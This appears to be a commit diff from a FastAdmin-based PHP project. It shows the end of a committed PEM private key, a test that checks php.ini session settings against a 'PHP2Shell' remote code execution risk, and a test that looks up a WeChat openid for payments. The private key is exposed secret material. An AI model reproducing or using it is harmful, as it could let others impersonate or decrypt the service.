|
||||
1U089kVSOIifbD8HrujiEks2vkO01f9GwivUXN5BqUKeJxpDcVuvA5xS38Ob8b6q
|
||||
Ytx/YyLxkyM8DSCCZaPpO76NRR7zNsDb9Dj6jZ99CXhw6v4wb51rXbnBAoGAXHlX
|
||||
c6OvLPugjEVLOq0nXJ44G/YVDUN7vyqf6tKZT0M9o19Nn3mHBERDwBIaXlDB1ILz
|
||||
zMpROsOj55YFm10gB2beBJk9uZMyKdYNFS8FrRfbk9SynxjjzPhAJNLUIPCnB7hY
|
||||
ByJKhTcMP+00HiVcz4BfmrmGd1ynS9fhgeajEZ8CgYEAnkofCJ0ce1a1y9WMepzx
|
||||
F8EoSBhyNfSxFQpYyP23xmKWlwQrfFClgdGLS4c4jHUMCUUduYEcZj69UXknwmoM
|
||||
kfRoQsD0U5SHp8yaFgWJosjIa9+Ebj/JfTgMv2+yU2nvIqPtKz3SQbAGuqyP3MZ4
|
||||
hfrgOsB7M8+YMBWCCB4sb2s=
|
||||
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyZ77rwoSr5Vat
|
||||
YjCztpxmw4ECO0yKDNXDLxgk66zhuxlxlagGad1Ytf0kzp2f+Egf8O4sGbfZ7fSh
|
||||
b4MDtm0HX4mdKt8P+U8Gmfhx6XsHZw8ZSbGAVIIQ2Lg0HqV1OM1lX+DPaRXeII11
|
||||
OMKT0b6jMUzBob6kF5Q3zljHp3E1pC11D3SIqFM/FILYOWzn6czMR6GRs+FU9Dw/
|
||||
9DqCHedfCqw6XTLJiNo7Z6xTekzUCtU4k5lmI3rXRza9HsOvHkBG/QuWkm/LdOu1
|
||||
7xR7+nvlELOEd9jufYmDNkPNP67Fp76rPdwo70xv/F8wx67WAJ1GSI3yibp46q5w
|
||||
nxkQ9aFVAgMBAAECggEBAIOWBbm6hUSMKTxFGgrTe9RICtVsi22fPeNyzuocci0k
|
||||
ZQXkDkR8vOf7gzUsuBIPfJMij2kzpuk0m6SerRGF8jDoBIZJ4rDTf7gsxJSwUzAI
|
||||
kZhjRGqU6kImtuaqW/tz4/sLlrMknR5zACMftFR29ZdEe4quFADP62Cl79GC7PtU
|
||||
W1UovYv0AI+UqYkSMZLFrLiTVpwBK2yqV31095WA69Sv8eB9OjTE+4Q0rUJVYMtC
|
||||
nsF06r+pK9WX5poVNqHxw3/Pzxd8HqUCbux0/6yiJ6NSb+Ow6Jwj1OPtpNwZZRY6
|
||||
AJUMv9WUGRnTBSSLkHGm+tauY/0Kgc3qlm38w5QfqRkCgYEA3DiVGWeLDELAh80r
|
||||
woPqwmvxX046eZ1FT5okPn2xmMubWrpLVjDwq33JV8wkrWLfaW7bO3869i1gPw+O
|
||||
7iUxiR/xFhuYG47lJMJ47smet5jDntP42X5W2/jZJlIYquQ9Iff5HIDLli1ktf5r
|
||||
k1b+hLE3fJ4ltSPRmJsTlrXReP8CgYEAz2P2//WrBI3o44e5PkhgR0z2tkWCU6LD
|
||||
4qOmNCnU5YwCz2KFydD6++crkV08+BV0tSNBvAJytzygCALUPp3eEc1C5S7TMMzR
|
||||
74ZKEqopPbp6wg9YDJPKhXYZJvZbruxnv3qlll38FVh8UVEH3QSA0+JEDe6/GP/q
|
||||
Fh36ViEfMasCgYB048uwOleB4ISVEIAjtSWMoQLzVXCQULwTbnvCd7EmqxwA4lVO
|
||||
oJd+Tzvp0D+/kHWJXwAa6oN/W8J0dmulWDSc1kl/NJJePlC+XEMYbAhE518eFOFH
|
||||
gFnWVJXeU0EopBEW0Kp3SJ3HTrzgJPUwtcJO6EnNaZwWM7byy41wN33CPQKBgCxH
|
||||
0tA5+wbg6e3S59mFiJEQvMiUNMx4v0xf1rfiiqNsbpkrFxfNOBma9TF3b/IkWqPm
|
||||
YD2tZCL9ncm4GOs5t9WjNvpKMiuEP/rdeGldzapxa46NyiX9VEuEuMAZ7998eHZo
|
||||
0Hw3mwBPwVN3cq9dK8iR0igLZuAGnEuWoQHM1qU7AoGBAJ33V445J5CEUovb1zP0
|
||||
DPQ87Avk4ecPIwUe2MlDkeZSJWBXKRAfSoT8Uvhzhi1D4er8LO7GA+Wc4f+YjUD5
|
||||
Rmrq2Z7U94l1m+XAUrlfTJ5EnkR+Bc0sqnpW+S+5c22A2Oy+ffNrUv2fn8pR+6aj
|
||||
aNot2/oVZM+TZlIDxvAsO+D7
|
||||
-----END PRIVATE KEY-----
|
||||
|
||||
1
public/uploads/.gitkeep
可执行文件
1
public/uploads/.gitkeep
可执行文件
@@ -0,0 +1 @@
|
||||
|
||||
67
tests/SecurityPhpIniTest.php
普通文件
67
tests/SecurityPhpIniTest.php
普通文件
@@ -0,0 +1,67 @@
|
||||
<?php
|
||||
/**
|
||||
* FastAdmin / PHP2Shell 安全配置验证测试 (严格遵循 TDD 模式)
|
||||
* 对应社区安全提醒:https://ask.fastadmin.net/question/51687.html
|
||||
* 漏洞防护目标:CVE-2026-109618 / CVE-2026-109619
|
||||
*/
|
||||
|
||||
define('ROOT_PATH', __DIR__ . '/../');
|
||||
define('APP_PATH', ROOT_PATH . 'application/');
|
||||
define('DS', DIRECTORY_SEPARATOR);
|
||||
|
||||
echo "====================================================\n";
|
||||
echo "【安全配置测试】PHP2Shell 安全基线验证 (TDD 模式)\n";
|
||||
echo "====================================================\n";
|
||||
|
||||
$failedCount = 0;
|
||||
|
||||
// 测试 1:session.upload_progress.enabled 必须被完全禁用 (Off / 0)
|
||||
$uploadProgress = ini_get('session.upload_progress.enabled');
|
||||
if ($uploadProgress === '1' || $uploadProgress === 1 || strtolower($uploadProgress) === 'on') {
|
||||
echo "[FAIL] 测试 1 未通过: session.upload_progress.enabled 当前为 1 (On),存在 PHP2Shell 远程代码执行风险,必须设置为 Off!\n";
|
||||
$failedCount++;
|
||||
} else {
|
||||
echo "[PASS] 测试 1 通过: session.upload_progress.enabled 已正确关闭 (Off / 0)\n";
|
||||
}
|
||||
|
||||
// 测试 2:session.use_strict_mode 必须被启用 (1 / On)
|
||||
$strictMode = ini_get('session.use_strict_mode');
|
||||
if ($strictMode !== '1' && $strictMode !== 1 && strtolower($strictMode) !== 'on') {
|
||||
echo "[FAIL] 测试 2 未通过: session.use_strict_mode 当前为 0 (Off),未开启严格模式,必须设置为 1!\n";
|
||||
$failedCount++;
|
||||
} else {
|
||||
echo "[PASS] 测试 2 通过: session.use_strict_mode 已正确开启严格模式 (1)\n";
|
||||
}
|
||||
|
||||
// 测试 3:检查 php.ini 配置文件内容中的明确配置声明
|
||||
$iniPath = php_ini_loaded_file();
|
||||
echo "当前加载的 php.ini 路径: " . ($iniPath ?: "未检测到 loaded php.ini") . "\n";
|
||||
|
||||
if ($iniPath && file_exists($iniPath)) {
|
||||
$iniContent = file_get_contents($iniPath);
|
||||
|
||||
// 匹配有效(非注释)的 session.upload_progress.enabled = Off 或 0
|
||||
if (!preg_match('/^\s*session\.upload_progress\.enabled\s*=\s*(Off|0)\s*(;.*)?$/mi', $iniContent)) {
|
||||
echo "[FAIL] 测试 3.1 未通过: {$iniPath} 中未显式配置有效未注释的 `session.upload_progress.enabled = Off`\n";
|
||||
$failedCount++;
|
||||
} else {
|
||||
echo "[PASS] 测试 3.1 通过: {$iniPath} 显式配置了 `session.upload_progress.enabled = Off`\n";
|
||||
}
|
||||
|
||||
// 匹配有效(非注释)的 session.use_strict_mode = 1 或 On
|
||||
if (!preg_match('/^\s*session\.use_strict_mode\s*=\s*(1|On)\s*(;.*)?$/mi', $iniContent)) {
|
||||
echo "[FAIL] 测试 3.2 未通过: {$iniPath} 中未显式配置有效未注释的 `session.use_strict_mode = 1`\n";
|
||||
$failedCount++;
|
||||
} else {
|
||||
echo "[PASS] 测试 3.2 通过: {$iniPath} 显式配置了 `session.use_strict_mode = 1`\n";
|
||||
}
|
||||
}
|
||||
|
||||
echo "====================================================\n";
|
||||
if ($failedCount > 0) {
|
||||
echo "【测试结论】共 {$failedCount} 项安全指标不符合要求,存在安全隐患!\n";
|
||||
exit(1);
|
||||
} else {
|
||||
echo "【测试结论】所有安全防护指标均已满足,安全基线通过!\n";
|
||||
exit(0);
|
||||
}
|
||||
41
tests/UserOauthPayOpenidTest.php
普通文件
41
tests/UserOauthPayOpenidTest.php
普通文件
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
define('ROOT_PATH', __DIR__ . '/../');
|
||||
define('APP_PATH', ROOT_PATH . 'application/');
|
||||
define('ADDON_PATH', ROOT_PATH . 'addons' . DIRECTORY_SEPARATOR);
|
||||
define('DS', DIRECTORY_SEPARATOR);
|
||||
|
||||
require ROOT_PATH . 'thinkphp/base.php';
|
||||
\think\Config::set('database', include ROOT_PATH . 'application/database.php');
|
||||
|
||||
// 注册 epay 命名空间
|
||||
$libraryDir = ADDON_PATH . 'epay' . DS . 'library' . DS;
|
||||
\think\Loader::addNamespace('Yansongda\\Pay', $libraryDir . 'v2' . DS . 'Yansongda' . DS . 'Pay' . DS);
|
||||
\think\Loader::addNamespace('Yansongda\\Supports', $libraryDir . 'v2' . DS . 'Yansongda' . DS . 'Supports' . DS);
|
||||
|
||||
// 测试用例:验证用户 24 的 openid 获取逻辑与统一下单参数匹配
|
||||
$userId = 24;
|
||||
$platform = 'wxMiniProgram';
|
||||
|
||||
// 测试:按 id desc 排序获取最新的 openid
|
||||
$oauth = \addons\shopro\model\UserOauth::where([
|
||||
'user_id' => $userId,
|
||||
'provider' => 'Wechat',
|
||||
'platform' => $platform
|
||||
])->order('id', 'desc')->find();
|
||||
|
||||
echo "【测试】查询用户 {$userId} 的最新授权记录:\n";
|
||||
if (!$oauth) {
|
||||
echo "FAIL: 未找到用户授权记录\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
echo "ID: {$oauth->id}, Openid: {$oauth->openid}\n";
|
||||
|
||||
// 验证 openid 是否为当前小程序的有效 openid(以 oGsUG 开头)
|
||||
if (strpos($oauth->openid, 'oGsUG') !== 0) {
|
||||
echo "FAIL: 获取到的不是当前小程序的有效 openid (期望以 oGsUG 开头)\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
echo "PASS: 成功获取到当前小程序匹配的有效 openid\n";
|
||||
exit(0);
|
||||
在新工单中引用
屏蔽一个用户